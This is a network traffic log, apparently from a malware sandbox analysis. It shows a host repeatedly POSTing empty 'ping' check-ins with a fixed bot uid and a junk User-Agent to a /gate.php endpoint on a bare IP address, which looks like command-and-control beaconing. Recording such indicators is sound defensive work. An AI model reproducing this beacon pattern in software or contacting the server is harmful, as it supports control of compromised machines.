Aug 15, 2021 08:41:02.154311895 CEST	3371	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:02.183243990 CEST	3371	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:02.294689894 CEST	3371	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:02.325350046 CEST	3372	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:02.436223984 CEST	3372	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:02.463999033 CEST	3372	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:02.576965094 CEST	3373	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:02.608443975 CEST	3373	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:02.717375994 CEST	3376	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:02.745893002 CEST	3390	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:02.858431101 CEST	3393	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:02.886238098 CEST	3455	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:02 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:03.008049011 CEST	5698	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:03.037734032 CEST	5957	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:03 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:03.158773899 CEST	6877	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:03.186470032 CEST	6909	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:03 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:03.302763939 CEST	6912	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:03.331007004 CEST	6912	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:03 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:03.452641964 CEST	6912	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:03.482937098 CEST	6913	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:03 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:03.592963934 CEST	7487	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:03.624424934 CEST	7487	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:03 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:03.743624926 CEST	7488	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:03.770986080 CEST	7488	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:03 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:03.892770052 CEST	7488	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:03.920538902 CEST	7489	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:03 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:04.030834913 CEST	7489	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:04.058820963 CEST	7489	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:04 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:04.170033932 CEST	7489	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:04.200117111 CEST	7490	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:04 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:04.310894966 CEST	7490	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:04.339520931 CEST	7490	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:04 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:04.451908112 CEST	7490	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:04.481539011 CEST	7490	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:04 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:04.592164993 CEST	7491	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:04.619591951 CEST	7491	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:04 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:04.787552118 CEST	7491	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:04.815618992 CEST	7491	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:04 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:05.060933113 CEST	7492	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:05.089898109 CEST	7492	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:05 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:05.201982975 CEST	7492	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:05.230340958 CEST	7492	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:05 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:05.361411095 CEST	7493	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:05.389312983 CEST	7493	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:05 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:05.498536110 CEST	7493	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:05.530009985 CEST	7493	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:05 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:05.639102936 CEST	7494	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:05.667327881 CEST	7494	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:05 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:06.143024921 CEST	7494	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:06.170691967 CEST	7494	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:06 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:06.301539898 CEST	7494	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:06.329344988 CEST	7495	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:06 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:06.455919027 CEST	7495	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:06.483778954 CEST	7495	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:06 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:07.546272993 CEST	7495	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:07.574798107 CEST	7496	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:07 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:07.706978083 CEST	7496	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:07.735513926 CEST	7496	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:07 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:07.864166021 CEST	7496	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:07.892112970 CEST	7497	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:07 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:07.998482943 CEST	7497	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:08.028016090 CEST	7497	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:08 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:08.140968084 CEST	7497	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:08.169126987 CEST	7497	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:08 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:08.279830933 CEST	7498	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:08.310393095 CEST	7498	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:08 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:08.424536943 CEST	7498	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:08.452222109 CEST	7498	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:08 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:08.577455997 CEST	7499	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:08.605588913 CEST	7499	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:08 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:08.718427896 CEST	7499	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:08.746296883 CEST	7499	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:08 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:08.858417034 CEST	7500	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:08.886034966 CEST	7500	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:08 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:09.000025988 CEST	7500	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:09.030847073 CEST	7500	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:09 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:09.139384031 CEST	7501	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:09.169179916 CEST	7501	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:09 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:09.280811071 CEST	7501	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:09.309079885 CEST	7501	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:09 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:09.423845053 CEST	7501	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:09.451914072 CEST	7502	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:09 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:09.565706968 CEST	7502	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:09.593270063 CEST	7502	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:09 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:09.705359936 CEST	7502	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:09.732855082 CEST	7503	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:09 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:09.844244957 CEST	7503	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:09.871475935 CEST	7503	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:09 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:09.986221075 CEST	7503	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:10.016294956 CEST	7504	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:10 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:10.126233101 CEST	7504	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:10.153512955 CEST	7504	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:10 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:10.265711069 CEST	7504	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:10.294538021 CEST	7504	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:10 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:10.406318903 CEST	7505	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:10.433979988 CEST	7505	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:10 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:10.546782017 CEST	7505	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:10.574913025 CEST	7505	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:10 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:10.687985897 CEST	7506	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:10.720478058 CEST	7506	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:10 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:10.831959963 CEST	7506	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:10.862910032 CEST	7506	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:10 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:10.987641096 CEST	7507	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:11.017395020 CEST	7507	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:11 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:11.125756979 CEST	7507	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:11.155267954 CEST	7507	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:11 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:11.265194893 CEST	7508	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:11.293102026 CEST	7508	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:11 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:11.408849955 CEST	7508	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:11.438968897 CEST	7508	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:11 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:11.557461977 CEST	7508	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:11.586735010 CEST	7509	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:11 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:11.706571102 CEST	7509	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:11.736067057 CEST	7509	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:11 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:11.845225096 CEST	7509	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:11.874975920 CEST	7510	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:11 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:11.985594034 CEST	7510	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:12.013396978 CEST	7510	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:11 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:12.124969006 CEST	7510	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:12.155219078 CEST	7510	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:12 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:12.265790939 CEST	7511	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:12.296889067 CEST	7511	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:12 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:12.408023119 CEST	7511	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
